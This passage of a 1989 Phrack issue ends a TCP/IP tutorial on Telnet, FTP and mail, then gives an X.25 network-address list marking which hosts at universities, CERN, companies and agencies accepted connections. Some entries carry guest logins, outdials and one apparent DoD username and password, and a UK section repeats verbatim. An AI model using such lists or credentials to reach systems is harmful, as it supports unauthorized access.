For example, "knight@phrackvax" referred to user "knight" on host "phrackvax." This did not specify which network "phrackvax" was on, although that information could be obtained by examining the hosttable and the IP address for "phrackvax." (However, "phrackvax" is a ficticious hostname used for this presentation.)

As time went on, every computer on the network had to have an entry in its hosttable for every other computer on the network. When several networks linked together to form the Internet, the problem of maintaining this central hosttable got out of hand. Therefore, the domain name scheme was introduced to split up the hosttable and make it smaller and easier to maintain.

In the new domain name scheme, users are still identified by their usernames, but hosts are now identified by their hostname and any and all domains of which they are a part. For example, the following address, "KNIGHT@UMCVMB.MISSOURI.EDU" specifies username "KNIGHT" on host "UMCVMB". However, host "UMCVMB" is a part of the domain "MISSOURI" " which is in turn part of the domain "EDU". There are other domains in "EDU", although only one is named "MISSOURI". In the domain "MISSOURI", there is only one host named "UMCVMB".

However, other domains in "EDU" could theoretically have hosts named "UMCVMB" (although I would say that this is rather unlikely in this example). Thus the combination of hostname and all its domains makes it unique. The method of translating such names into IP addresses is no longer as straightforward as looking up the hostname in a table. Several protocols and specialized network software called nameservers and resolvers implement the domain name scheme.

Not all TCP/IP implementations support domain names because it is rather new. In those cases, the local hosttable provides the only way to translate hostnames to IP addresses. The system manager of that computer will have to put an entry into the hosttable for every host that users may want to connect to. In some cases, users may consult the nameserver themselves to find out the IP address for a given hostname and then use that IP address directly instead of a hostname.

I have selected a few network hosts to demonstrate how a host system can be specified by both the hostname and host numerical address. Some of the nodes I have selected are also nodes on BITnet, perhaps even some of the others that I do not make a note of due a lack of omniscent awareness about each and every single host system in the world :‑)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Numerical Hostname Location BITnet

‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

18.72.0.39 ATHENA.MIT.EDU (Mass. Institute of Technology) ? 26.0.0.73 SRI‑NIC.ARPA (DDN Network Information Center) 36.21.0.13 MACBETH.STANFORD.EDU (Stanford University) ? 36.21.0.60 PORTIA.STANFORD.EDU (Stanford University) ? 128.2.11.131 ANDREW.CMU.EDU (Carnegie Mellon University) ANDREW 128.3.254.13 LBL.GOV (Lawrence Berkeley Labrotories) LBL 128.6.4.7 RUTGERS.RUTGERS.EDU (Rutgers University) ? 128.59.99.1 CUCARD.MED.COLUMBIA.EDU (Columbia University) ? 128.102.18.3 AMES.ARC.NASA.GOV (Ames Research Center [NASA]) 128.103.1.1 HARVARD.EDU (Harvard University) HARVARD 128.111.24.40 HUB.UCSB.EDU (Univ. Of Calif‑Santa Barbara) ? 128.115.14.1 LLL‑WINKEN.LLNL.GOV (Lawrence Livermore Labratories) 128.143.2.7 UVAARPA.VIRGINIA.EDU (University of Virginia) ? 128.148.128.40 BROWNVM.BROWN.EDU (Brown University) BROWN 128.163.1.5 UKCC.UKY.EDU (University of Kentucky) UKCC 128.183.10.4 NSSDCA.GSFC.NASA.GOV (Goddard Space Flight Center [NASA])128.186.4.18 RAI.CC.FSU.EDU (Florida State University) FSU 128.206.1.1 UMCVMB.MISSOURI.EDU (Univ. of Missouri‑Columbia) UMCVMB 128.208.1.15 MAX.ACS.WASHINGTON.EDU (University of Washington) MAX 128.228.1.2 CUNYVM.CUNY.EDU (City University of New York) CUNYVM 129.10.1.6 NUHUB.ACS.NORTHEASTERN.EDU (Northeastern University) NUHUB 131.151.1.4 UMRVMA.UMR.EDU (University of Missouri‑Rolla) UMRVMA 192.9.9.1 SUN.COM (Sun Microsystems, Inc.) 192.33.18.30 VM1.NODAK.EDU (North Dakota State Univ.) NDSUVM1 192.33.18.50 PLAINS.NODAK.EDU (North Dakota State Univ.) NDSUVAX

Please Note: Not every system on BITnet has an IP address. Likewise, not every system that has an IP address is on BITnet. Also, while some locations like Stanford University may have nodes on BITnet and have hosts on the IP as well, this does not neccessarily imply that the systems on BITnet and on IP (the EDU domain in this case) are the same systems.

Attempts to gain unauthorized access to systems on the Internet are not tolerated and is legally a federal offense. At some hosts, they take this very seriously, especially the government hosts such as NASA's Goddard Space Flight Center, where they do not mind telling you so at the main prompt when you connect to their system.

However, some nodes are public access to an extent. The DDN Network Information Center can be used by anyone. The server and database there have proven to be an invaluable source of information when locating people, systems, and other information that is related to the Internet.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Telnet

~~~~~~

Remote login refers to logging in to a remote computer from a terminal connected to a local computer. Telnet is the standard protocol in the DOD Protocol Suite for accomplishing this. The "rlogin" program, provided with Berkeley UNIX systems and some other systems, also enables remote login.

For purposes of discussion, the "local computer" is the computer to which your terminal is directly connected while the "remote computer" is the computer on the network to which you are communicating and to which your terminal is *NOT* directly connected.

Since some computers use a different method of attaching terminals to computers, a better definition would be the following: The "local computer" is the computer that you are currently using and the "remote computer" is the computer on the network with which you are or will be communicating. Note that the terms "host" and "computer" are synonymous in the following discussion.

To use Telnet, simply enter the command: TELNET

The prompt that Telnet gives is: Telnet>

(However, you can specify where you want to Telnet to immediately and bypass the the prompts and other delays by issuing the command: TELNET [location].)

There is help available by typing in ?. This prints a list of all the valid subcommands that Telnet provides with a one‑line explanation.

Telnet> ?

To connect to to another computer, use the open subcommand to open a connection to that computer. For example, to connect to the host "UMCVMB.MISSOURI.EDU", do "open umcvmb.missouri.edu"

Telnet will resolve (i.e. Translate, the hostname "umcvmb.missouri.edu" into an IP address and will send a packet to that host requesting login. If the remote host decides to let you attempt a login, it prompts you for your username and password. If the host does not respond, Telnet will "time out" (i.e. Wait for a reasonable amount of time such as 20 seconds) and then terminate with a message such as "Host not responding."

If your computer does not have an entry for a remote host in its hosttable and it cannot resolve the name, you can use the IP address explicitly in the telnet command. For example,

TELNET 26.0.0.73 (Note: This is the IP address for the DDN Network Information Center [SRI‑NIC.ARPA])

If you are successful in logging in, your terminal is connected to the remote host. For all intents and purposes, your terminal is directly hard‑wired to that host and you should be able to do anything on your remote terminal that you can do at any local terminal. There are a few exceptions to this rule, however.

Telnet provides a network escape character, such as CONTROL‑T. You can find out what the escape character is by entering the "status" subcommand:

Telnet> status

You can change the escape character by entering the "escape" subcommand:

Telnet> escape

When you type in the escape character, the Telnet prompt returns to your screen and you can enter subcommands. For example, to break the connection, which usually logs you off the remote host, enter the subcommand "quit":

Telnet> quit

Your Telnet connection usually breaks when you log off the remote host, so the "quit" subcommand is not usually used to log off.

When you are logged in to a remote computer via Telnet, remember that there is a time delay between your local computer and the remote one. This often becomes apparent to users when scrolling a long file across the terminal screen nd they wish to cancel the scrolling by typing CONTROL‑C or something similar. After typing the special control character, the scrolling continues. The special control character takes a certain amount of time to reach the remote computer which is still scrolling information. Thus response from the remote computer will not likely be as quick as response from a local computer.

Once you are remotely logged on, the computer you are logged on to effectively becomes your "local computer," even though your original "local computer" still considers you logged on. You can log on to a third computer which would then become your "local computer" and so on. As you log out of each session, your previous session becomes active again.

File Transfer

~~~~~~~~~~~~~

FTP is the program that allows files to be sent from one computer to another. "FTP" stands for "File Transfer Protocol".

When you start using FTP, a communications channel with another computer on the network is opened. For example, to start using FTP and initiate a file transfer session with a computer on the network called "UMCVMB", you would issue the following subcommand:

FTP UMCVMB.MISSOURI.EDU

Host "UMCVMB" will prompt you for an account name and password. If your login is correct, FTP will tell you so, otherwise it will say "login incorrect." Try again or abort the FTP program. (This is usually done by typing a special control character such as CONTROL‑C. The "program abort" character varies from system to system.)

Next you will see the FTP prompt, which is:

Ftp>

There are a number of subcommands of FTP. The subcommand "?" will list these commands and a brief description of each one.

You can initiate a file transfer in either direction with FTP, either from the remote host or to the remote host. The "get" subcommand initiates a file transfer from the remote host (i.e. Tells the remote computer to send the file to the local computer [the one on which you issued the "ftp" command]). Simply enter "get" and FTP will prompt you for the remote host's file name and the (new) local host's file name. Example:

Ftp> get

Remote file name?

theirfile

local file name?

myfile

ou can abbreviate this by typing both file names on the same line as the "get" subcommand. If you do not specify a local file name, the new local file will be called the same thing as the remote file. Valid FTP subcommands to get a file include the following:

get theirfile myfile

get doc.x25

The "put" subcommand works in a similar fashion and is used to send a file from the local computer to the remote computer. Enter the command "put" and FTP will prompt you for the local file name and then the remote file name. If the transfer cannot be done because the file doesn't exist or for some other reason, FTP will print an error message.

There are a number of other subcommands in FTP that allow you to do many more things. Not all of these are standard so consult your local documentation or type a question mark at the FTP prompt. Some functions often built into FTP include the ability to look at files before getting or putting them, the ability to change directories, the ability to delete files on the remote computer, and the ability to list the directory on the remote host.

An intriguing capability of many FTP implementations is "third party transfers." For example, if you are logged on computer A and you want to cause computer B to send a file to computer C, you can use FTP to connect to computer B and use the "rmtsend" command. Of course, you have to know usernames and passwords on all three computers, since FTP never allows you to peek into someone's directory and files unless you know their username and password.

The "cd" subcommand changes your working directory on the remote host. The "lcd" subcommand changes the directory on the local host. For UNIX systems, the meaning of these subcommands is obvious. Other systems, especially those that do not have directory‑structured file system, may not implement these commands or may implement them in a different manner.

The "dir" and "ls" subcommands do the same thing, namely list the files in the working directory of of the remote host.

The "list" subcommand shows the contents of a file without actually putting it into a file on the local computer. This would be helpful if you just wanted to inspect a file. You could interrupt it before it reached the end of the file by typing CONTROL‑C or some other special character. This is dependent on your FTP implementation.

The "delete" command can delete files on the remote host. You can also make and remove directories on the remote host with "mkdir" and "rmdir". The "status" subcommand will tell you if you are connected and with whom and what the state of all your options are.

If you are transferring binary files or files with any non‑printable characters, turn binary mode on by entering the "binary" subcommand:

binary

To resume non‑binary transfers, enter the "ascii" subcommand.

Transferring a number of files can be done easily by using "mput" (multiple put) and "mget" (multiple get). For example, to get every file in a particular directory, first issue a "cd" command to change to that directory and then an "mget" command with an asterisk to indicate every file:

cd somedirectory

mget *

When you are done, use the "close" subcommand to break the communications link. You will still be in FTP, so you must use the "bye" subcommand to exit FTP and return to the command level. The "quit" subcommand will close the connection and exit from FTP at the same time.

Mail

~~~~

Mail is the simplest network facility to use in many ways. All you have to do is to create your message, which can be done with a file editor or on the spur of the moment, and then send it. Unlike FTP and Telnet, you do not need to know the password of the username on the remote computer. This is so because you cannot change or access the files of the remote user nor can you use their account to run programs. All you can do is to send a message.

There is probably a program on your local computer which does mail between users on that computer. Such a program is called a mailer. This may or may not be the way to send or receive mail from other computers on the network, although integrated mailers are more and more common. UNIX mailers will be used as an example in this discussion.

Note that the protocol which is used to send and receive mail over a TCP/IP network is called SMTP, the "Simple Mail Transfer Protocol." Typically, you will not use any program called SMTP, but rather your local mail program.

UNIX mailers are usually used by invoking a program named "mail". To receive new mail, simply type "mail".

There are several varieties of UNIX mailers in existence. Consult your local documentation for details. For example, the command "man mail" prints out the manual pages for the mail program on your computer.

To send mail, you usually specify the address of the recipient on the mail command. For example: "mail knight@umcvmb.missouri.edu" will send the following message to username "knight" on host "umcvmb".

You can usually type in your message one line at a time, pressing RETURN after each line and typing CONTROL‑D to end the message. Other facilities to include already‑existing files sometimes exist. For example, Berkeley UNIXes allow you to enter commands similar to the following to include a file in your current mail message:

r myfile

In this example, the contents of "myfile" are inserted into the message at this point.

Most UNIX systems allow you to send a file through the mail by using input redirection. For example:

mail knight@umcvmb.missouri.edu < myfile

In this example, the contents of "myfile" are sent as a message to "knight" on "umcvmb."

Note that in many UNIX systems the only distinction between mail bound for another user on the same computer and another user on a remote computer is simply the address specified. That is, there is no hostname for local recipients. Otherwise, mail functions in exactly the same way. This is common for integrated mail packages. The system knows whether to send the mail locally or through the network based on the address and the user is shielded from any other details.

"The Quest For Knowledge Is Without End..."

NUA List For Datex-P And X.25 Networks

==Phrack Inc.==

Volume Three, Issue 27, File 4 of 12

:.:.:.:.:.:.:.:.:.:.:.:.:

:.:

:.: NUA‑List For Datex‑P And X.25 Networks :.:

:.:

:.: by Oberdaemon :.:

:.:

:.: April 9, 1989 :.:

:.:

:.:.:.:.:.:.:.:.:.:.:.:.:

_______________________________________

|

| Key:

|

| A = successfully connected

| B = sources say that it works

| C = officially closed

| D = disconnected/no circuit or permanently busy |

| I = illegal address or invalid call |

| O = out of order

| r = R‑NUA

| T = time‑out

| X = sources say that it should work but it doesn't (or is permanently |

| busy)

| Y = barred (=?)

| Z = sources say that it should not work |

| = including the following digits gives you another number |

| n/a = not yet tested

| ? = error on a subsequent communication system |

|

| Remark: I have also included some obviously misstyped NUAs which have been | | found in widely circulating lists. There are also numbers which do | | not form a valid NUA but a common prefix (e.g. 0202 2 Helpak). |

|

| Format: Each NUA in this list consists of the following fields: |

|

| cccc naa aaa aaa... oooo... ddd.... |

|

| cccc is the country prefix (e.g. 0262 Germany). This prefix can be | | omitted when calling and called party have both the same prefix.| | naa are the first three digits of the address. n often specifies a |

| certain network in that country. |

| aaa aaa... are the other digits of the address. |

| oooo... are some extra digits/letters which should be added after the | | NUA. The correct syntax depends on your PAD. This list uses any | | syntax ‑ usually depending on the notation the author of the | | source used. The oooo... field is usually empty. | | ddd... is a short description of the service. |

|

| If you find two NUAs who differ only in the number of trailing zeroes, but | | connect to the same service, you may safely throw away the longer one. |

|

| !! Please note that most PADs don't accept spaces inside a NUA !! |

|_______________________________________

0200 GR Greece

0202

0202 2 Helpak (enkelriktad trafik)

X 0202 452 241 24104

0204 NL Netherlands

0204 0 Datanet (1?)

0204 1 Datanet (1?)

A 0204 129 001 3 ? (Netz ?)

A 0204 129 001 4 X.25

A 0204 129 003 1 NONOBY

A 0204 129 003 4 Searchline

D 0204 129 004 33 SARA National Institute for High Energy Physics

(NIKHEF) SARA network

D 0204 129 004 34 NIKHEF National Institute for High Energy Physics

(NIKHEF) SARA network

D 0204 129 005 6 MCVAX MCVAX, HOLLAND

A 0204 129 005 675 HARING MCVAX Line 2

0204 129 400 2 DUPHAR WEESP,HOLLAND

A 0204 134 014 80500 Utrecht ?

0204 303 0 EPOIS EPO Den Haag

0204 304 0 DSAMISOOM SAMSON

0204 4 Dabas

0206 B Belgium

0206 2 DCS

A 0206 210 300 003 Eigebib

A 0206 222 100 6 BBDA Brussels DEC A

A 0206 222 101 2 ? Ministry of economic affairs

A 0206 222 102 6 celex

A 0206 224 001 903 PRLB2 Belgium Unix Backbone

0206 3 Euronet

A 0206 228 821 0 DGxiiiF

0208 F France

0208 0 TRANSPAC French Transpac

A 0208 006 040 010 Telesystemes 1

A 0208 006 040 201 Telesystemes 2

A 0208 026 020 843 ?

A 0208 034 020 036 CNUSC CNUSC (France)

A 0208 034 020 258 CNUSC CNUSC Montpelier

A 0208 038 020 100 CICG Grenoble

A 0208 038 020 676 ILL VEGA VAX 8700 VMS 4.7

I 0208 044 001 645 ?

A 0208 057 040 540 QSD (Chat system)

I 0208 069 021 258

A 0208 075 000 087 IRCAM IRCAM‑ERIK VAX 11/780 4.2 BSD

I 0208 075 000 355 ?

I 0208 075 001 281*D CCPN Computing Centre Nuclear Physics I 0208 075 002 314 GRF

A 0208 075 020 655 LITP LITP Unix 4.3 BSD (France)

A 0208 075 041 280 Pasteur MV8000

A 0208 078 020 118 INRIA INRIA, Rocquencourt (France) Multics B 0208 078 020 16901 INRIA Institute National de Recherche en

Informatique

0208 078 081 67304 INRIAUU INRIA ‑ UUCICO

I 0208 091 000 270*DCISICISI3 IBM ‑ TSO

I 0208 091 000 309*DCISICISI1 IBM ‑ TSO

I 0208 091 000 519*DCISICISI2 IBM ‑ TSO

I 0208 091 010 320 CJRCE

I 0208 091 040 047 SACLAY Saclay ‑ France

I 0208 091 040 532 Pascal

A 0208 091 190 258 LURE, VAX 11/780 VMS 4.6, Synchrotron

source (SES)

0208 1 NTI

A 0208 101 TEXTFRA Text Generator, FRANCE

0214 E Spain

0214 1 SPAIN Spanish data network (NID/CTNE) 0214 5 Iberpac

O 0214 521 202 5022

A 0214 521 302 1020 ETSITM (EANNET) VAX 11/750 VMS 4.5 0222 I Italy

0222 2 Itapac

A 0222 262 002 1 ESAIRS1 ESA‑QUEST, IRS 1

I 0222 262 002 2 ESAIRS2 ESA‑IRS 2

O 0222 262 003 2 IASI VAX

A 0222 262 004 3 VAXLNF (INFNET) VAX 8650

O 0222 263 200 4 NUA‑Information ?

A 0222 265 014 0 Techni‑Link

I 0222 306 3 Progetto‑Sirio

I 0222 306 700 European Space Agency

I 0222 306 9*D CNUCE CNUCE

I 0222 307 0 CILEA

I 0222 307 1 CED Datenbanksysteme Rom

I 0222 307 2*D RTC20 JRC

I 0222 307 7*D QUESTD5 ESA ESA

D 0222 307 8*D QUESTD5 ESA2 ESA

0228 CH Switzerland

D 0228 310 1*DN DATASTAR Data‑Star, Switzerland

0228 4 Telepac

A 0228 462 110 0101 Cigy IBMA

A 0228 462 110 0102 Cigy DEC1091

A 0228 462 110 09 EDP Basel

A 0228 462 110 23 ?

A 0228 462 110 34 ?

A 0228 462 110 36 ?

A 0228 462 110 52 DANZA'S 11/785 VMS 4.4

A 0228 462 110 61 PKK node RBPK00

A 0228 462 110 66 PROGNOS Basel (CIERR 1402)

A 0228 462 110 70 ?

A 0228 462 110 84 (CIERR 1402)

Y 0228 462 170 02 INFOTEX PTT

I 0228 464 109 06 GD PTT Schweiz (ring with CTRL G) A 0228 464 110 10 DM DATAMAIL (RSAG)

A 0228 464 110 110 DSTAR2 Datastar (2nd. Line)

A 0228 464 110 112 RSAG

Z 0228 464 110 113 RSAG

A 0228 464 110 115 DATASTAR Data‑Star, Switzerland (Pharmadatenbank ?) A 0228 468 113 150 Management Joint Trust

D 0228 468 114 05 CERN CERN (=CERNXX?)

A 0228 468 114 0505 CS Group LAVC on node UXCOMS

A 0228 468 114 0510 CER CERN, Geneva

A 0228 468 114 0510 CERNVAX CERN X25 Multigate

B 0228 468 114 0510*DLO CERNLO CERN 300 bps OUTDIAL (where ???) B 0228 468 114 0510*DME CERNME CERN 1200 bps OUTDIAL (where ???) B 0228 468 114 0510*DHI CERN ?

A 0228 468 114 0514 4.2 BSD UNIX (Mint)

A 0228 468 114 0515 Cern LS Group LAVC VXGIFT

A 0228 468 114 0520 Cern

A 0228 468 114 0532 Cern

A 0228 468 114 0533 L3 test beam VAX‑750 VXC3

A 0228 468 114 0534 UXINFN

A 0228 468 114 0538 CS Group LAVC on node UXCOMS

A 0228 468 114 054 Cern

A 0228 468 114 0545 Cern

A 0228 468 114 0551 VXCERN VMS 4.6

A 0228 468 114 0553 VXCERN VMS 4.6

A 0228 468 114 0556 VXCERN VMS 4.6

A 0228 468 114 0560 CERN VXNA31

A 0228 468 114 0561 CERN VXNA31

A 0228 468 114 0562 L3 VAX 11/750 VXC3MU

A 0228 468 114 0572 ISOLDES VAX 11/750

A 0228 468 114 0574 ? (Operator)

A 0228 468 114 0581 ?

A 0228 468 114 0583 %Merit:X.25 (Merit Computer Network, see

appendix)

A 0228 468 114 0584 Develcon

A 0228 468 114 0587 ? (Operator)

A 0228 468 114 0588 ? (Operator)

A 0228 468 114 0589 ? (Operator)

A 0228 468 114 0592 Princeton University High Energy Physics

Group Vax 11/750

A 0228 468 114 0593 University of Michigan Physics Vax 11/750 A 0228 468 114 0596 N.U. Physics Vax 11/750

A 0228 468 114 0597 Harvard University High Energy Physics Lab.

Vax 8650

A 0228 468 114 0598 MIT‑LNS*PIERRE

A 0228 468 114 0599 DoD, Distributed Databases Coordination

Center (JMILLER,X0TF3AP)

D 0228 468 114 18 BIOGEN (=GODEL?)

A 0228 468 114 23 EDCHUB::

A 0228 469 110 02 EPFL (something)

A 0228 469 110 0202 EPFL HELP

D 0228 469 110 0203 EPFL DE.VAX

D 0228 469 110 0204 EPFL GC.VAX

A 0228 469 110 0205 EPFL DP.VAX

A 0228 469 110 0206 EPFL ME.VAX

A 0228 469 110 0207 EPFL GR.VAX

A 0228 469 110 0208 EPFL MA.VAX

A 0228 469 110 0209 EPFL DI.VAX

D 0228 469 110 0210 EPFL IMAC.PDP

D 0228 469 110 0211 EPFL CGL.VAX

D 0228 469 110 0212 EPFL DE.MVAX

A 0228 469 110 0213 EPFL CC.VAX

A 0228 469 110 03 EPFL Cyber 855

Ar0228 469 110 0301 EPFL Cyber

A 0228 475 110 02 HSG St.Gallen

Ar0228 479 104 00 Cern

A 0228 479 110 23 I.P.Sharp (CA)

X 0228 479 110 86 KOMETH (ETH ZH)

A 0228 479 110 650 KOMETH (ETH ZH)

I 0228 479 111

A 0228 479 111 06 GRS

I 0228 479 111 086

I 0228 479 111 11

I 0228 479 111 18 ZEV‑Mailbox Zuerich

A 0228 479 111 750 ComNet (R‑Nua)

A 0228 479 311 49 KOMETH Output (ETH ZH)

A 0228 499 111 02001 KOMETH (Entry Uni)

0228 9 Radio‑Suisse

0232 A Austria

0232 2 Datex‑P

O 0232 242 210 91

? 0232 242 211 42*DMAI Sysnet Wien (Gast,Gast)

A 0232 252 310 000 Uni Wien

0232 9 Radio Austri

A 0232 911 602 323 Inpadoc

0234 GB United Kingdom

0234 1 IPSS IPSS UK network

A 0234 110 020 02018 BT DIALCOM GROUP (PRESTEL ?) 0234 2 PSS

0234 198 061 60 Queen Marry C.

B 0234 207 920 002 SWVA

0234 211 920 100515 Hostess Doc.

0234 212 Dialnet

O 0234 212 080 105

I 0234 212 080 110 EPSONUK Epson (UK)

A 0234 212 300 120 DIALNET IGS Leased line to DIALOG in US A 0234 212 300 12011 DIALNET LRS‑DIALOG 2 Dialog via London Ar0234 212 300 12013 DIALMRC LRS‑Dialmail (Reverse Charging) A 0234 212 300 120*D@ DIALNET IGS Leased line to DIALOG in US A 0234 212 300 2920 GeoNet GEO2

B 0234 212 301 161 OPTEL

0234 212 301 186 GEOSYSTEMS

0234 212 301 187 CAP GROUP LTD.

0234 212 301 18722 CAP CAP Industry Ltd.

0234 212 301 281 ONE TO ONE COMMS

O 0234 212 302 02192 PSSCLK PSS Clock

B 0234 212 399 12013 DIALMAL Dialmail via London

A 0234 212 900 115 STL STL : ACER (BSD UNIX 4.2) 0234 213 000 11

0234 213 000 151 COMPUTAS Computas Ltd

0234 213 000 1511 COMPUTAS LTD.

D 0234 213 900 10150 ALVEY Alvey Mail and FTP.

0234 214 200 162 GLAXO Galaxo Industries

0234 214 400 12 CONTROL DATA LTD.

0234 215 000 11600 C3

0234 215 710 104 Consultans Ltd

0234 216 700 127 PFIZER Pfizer, SANDWICH

0234 216 700 12701 PFIZER1 Pfizer, SANDWICH

0234 216 700 12702 PFIZER2 Pfizer, SANDWICH

0234 216 700 12703 PFIZER3 Pfizer, SANDWICH

0234 216 700 12704 PFIZER4 Pfizer, SANDWICH

0234 216 700 12706 PFIZER6 Pfizer, SANDWICH

0234 218 801 00300 British Telecom Hotline

0234 2 PSS

0234 198 061 60 Queen Marry C.

B 0234 207 920 002 SWVA

0234 211 920 100515 Hostess Doc.

0234 212 Dialnet

O 0234 212 080 105

I 0234 212 080 110 EPSONUK Epson (UK)

A 0234 212 300 120 DIALNET IGS Leased line to DIALOG in US A 0234 212 300 12011 DIALNET LRS‑DIALOG 2 Dialog via London Ar0234 212 300 12013 DIALMRC LRS‑Dialmail (Reverse Charging) A 0234 212 300 120*D@ DIALNET IGS Leased line to DIALOG in US A 0234 212 300 2920 GeoNet GEO2

B 0234 212 301 161 OPTEL

0234 212 301 186 GEOSYSTEMS

0234 212 301 187 CAP GROUP LTD.

0234 212 301 18722 CAP CAP Industry Ltd.

0234 212 301 281 ONE TO ONE COMMS

O 0234 212 302 02192 PSSCLK PSS Clock

B 0234 212 399 12013 DIALMAL Dialmail via London

A 0234 212 900 115 STL STL : ACER (BSD UNIX 4.2) 0234 213 000 11

0234 213 000 151 COMPUTAS Computas Ltd

0234 213 000 1511 COMPUTAS LTD.

D 0234 213 900 10150 ALVEY Alvey Mail and FTP.

0234 214 200 162 GLAXO Galaxo Industries

0234 214 400 12 CONTROL DATA LTD.

0234 215 000 11600 C3

0234 215 710 104 Consultans Ltd

0234 216 700 127 PFIZER Pfizer, SANDWICH

0234 216 700 12701 PFIZER1 Pfizer, SANDWICH

0234 216 700 12702 PFIZER2 Pfizer, SANDWICH

0234 216 700 12703 PFIZER3 Pfizer, SANDWICH

0234 216 700 12704 PFIZER4 Pfizer, SANDWICH

0234 216 700 12706 PFIZER6 Pfizer, SANDWICH

0234 218 801 00300 British Telecom Hotline

0234 219 PSS‑Network

0234 219 200 001 Network Monitoring Centre (NFS) 0234 219 200 002 Network Monitoring Centre (NFS) 0234 219 200 100 University of London Computing Centre 0234 219 200 10069 JANETGW PSS/JANET Gateway (ULCC)

B 0234 219 200 101 Finsbury Data Service

0234 219 200 1082 BING COMPUTER SERVICES (EUROPE) LTD. A 0234 219 200 118 ADPUK ADP NETWORK SERVICES LTD. (=AUTONET?) 0234 219 200 118 atomic energy research establishment 0234 219 200 13370 QTLON Quantime

A 0234 219 200 146 CEGB CEGB, Park Street, London

B 0234 219 200 14869 ULCC Univ. London Computer Centre (=JANET2?) B 0234 219 200 14918 UCLMVAX UCL Microvax ARPA Gateway

B 0234 219 200 14970

0234 219 200 154 UNILEVER COMPUTER SERVICES LTD. A 0234 219 200 171 LEXIS LEXIS

A 0234 219 200 190 INFOLINE PERGAMON INFOLINE LTD. (NFS)

A 0234 219 200 203 IPSH SHARP, I. P. ASSOCIATES LTD.

A 0234 219 200 220 BRITISH LIBRARY ON‑LINE SYSTEM A 0234 219 200 222 BLAISE British Library Information System 0234 219 200 297 RLFE & NOLAN COMPUTER SERVICES PLC B 0234 219 200 300 UCL University College London ‑ Computer 0234 219 200 300 UCLFTP UCL (FTP)

A 0234 219 200 300 UCLMAIL UCL (JNT Mail)

0234 219 200 304 University Computing Company (GB) Ltd. B 0234 219 200 333 EUCLID University College London Computer Centre 0234 219 200 394 CISI CISI (=SIANET?;=Computer Services, London?) 0234 219 200 871 Instrument Rentals (UK) Ltd.

B 0234 219 201 002 POOLE

0234 219 201 004 BGOLD81 Telecom BT‑GOLD System 81 0234 219 201 00472 BGOLD72 Telecom BT‑GOLD System 72 0234 219 201 00474 BGOLD74 Telecom BT‑GOLD System 74 0234 219 201 00479 BTGOLD Telecom BT‑GOLD System 79 0234 219 201 00481 BTGOLDA Telecom BT‑GOLD System 81 0234 219 201 00482 BTGOLD82 Telecom BT‑GOLD System 82 0234 219 201 00484 BGOLD84 Telecom Gold System 84

0234 219 201 005 PSSMAIL PSS TELE‑MAIL service

B 0234 219 201 00513 DIANENQ Euronet DIANE Enquiry Service

(=Echo,Rutherford?)

B 0234 219 201 00513 EUROINFO Euronet Diane Information Service

(=Echo,Rutherford?)

A 0234 219 201 00515 BTDOC BT Online Documentation Service A 0234 219 201 00515 HOSTESS Hostess system (BT)

0234 219 201 00530 BAYNARD BT Protocol Study Centre (NFS) 0234 219 201 00615 PSSDOC PSS documentation service/X25 technical

info on line

0234 219 201 00620 BTBILL BT Online Billing

0234 219 201 0100513

0234 219 201 01013 HOSTESS Hostess system (BT) (=PSS Switchstream 1 ?) T 0234 219 201 01030 TSTB British Telecom

0234 219 201 025 PRESTEL BT Prestel Service

0234 219 201 02517

0234 219 201 07800

0234 219 201 15600 ESA1 ESA‑IRS via London

0234 219 201 18 ADPUK ADP Network Services Ltd

0234 219 210 050 BT Mailbox facility (NFS) 0234 219 511 31 GEC GEC Computers Borehamwood 0234 219 511 311 GECB GEC Computers Ltd. Borehamwood 0234 219 513 11 GECB GEC Computers Ltd. Borehamwood 0234 219 709 111 Modular Computer Services Ltd. (MODCOMP) ? 0234 219 709 111 NPL1 National Physical Laboratory 0234 219 709 210 NPL2 National Physical Laboratory, Protocol Std

Group

B 0234 219 806 160 QMC Queen Mary College London

X 0234 220 200 1070 island‑Adventure‑Game

X 0234 220 200 10700 island‑Adventure‑Game

0234 220 641 141 ESSX Essex, University of, Computing Service

(2653,2653,Mist)

A 0234 220 641 1411 MUD (Adventure Game), <guest>, <mist> or

<2653,2653>

B 0234 221 222 122 MIDB MIDNET Gateway at Birmingham (=MIDBHM) 0234 221 222 223 BIRP Prime R & D at Birmingham 0234 221 222 225 Freight Comp. Services

0234 222 236 163 CARDF Cardiff, University College 0234 222 236 16300 CARDIFF Univ. Coll. Cardiff Multics 0234 222 236 236 UWIST University of Wales

0234 222 300 16102 ACORN Acorn Computers

0234 222 339 399 CAMBRID Cambridge University (Phoenix) 0234 222 530 303 SWURCC South‑West Universities

0234 222 530 30388 SWURCC South‑West Universities Network 0234 222 530 30398 SWCFTP SWURCC (FTP)

A 0234 222 715 151 KENT University of Kent

X 0234 222 715 11 ? (‑‑‑,Guest,Friend (call PIP)) 0234 223 440 TI Texas Instruments Ltd

0234 223 440 144 BED5 Prime R & D at Bedford (NFS) 0234 223 440 345 TI Texas Instruments Ltd

0234 223 500 10998 HLH High Level Hardware Ltd.

B 0234 223 519 111 AERE Atomic Energy Research Establishment at

Harwell

T 0234 223 519 11198 ADA ADA UK Database

0234 223 519 119169 JANET

0234 223 519 191 DLVAFTP Daresbury SRS VAX (FTP)

A 0234 223 519 191 JANET Gateway to JANET at Rutherford 0234 223 519 191 OUCSFTP OUCS VAX (FTP) ‑ Experimental 0234 223 519 191 REVSFTP ROE Starlink VAX (FTP)

0234 223 519 191 RLDAFTP Rutherford DCS 11/70 (FTP) 0234 223 519 191 RLGBFTP RL GEC (FTP)

0234 223 519 191 RLIBFTP RL IBM 370 CMS (FTP)

0234 223 519 191 RLPCFTP L Prime C (FTP)

0234 223 519 191 SERC Gateway to SERCNET at Rutherford 0234 223 519 191 SERCENQ SERCNET Acc & P/word Fac. 0234 223 519 191 SYPEFTP Surrey Prime 550 (FTP)

0234 223 519 191 UEAFTP East Anglia via SERC (FTP) 0234 223 519 191 ZUVSFTP UCL Starlink VAX (FTP)

A 0234 223 519 19169 SERCNET R/ford XXX SERCnet g/way

(=DARESBURY,=JANET?)

? 0234 223 519 19169,.10404000 Lancaster Uni

B 0234 223 519 19169,.36 Oxford2

? 0234 223 519 19169,49000001

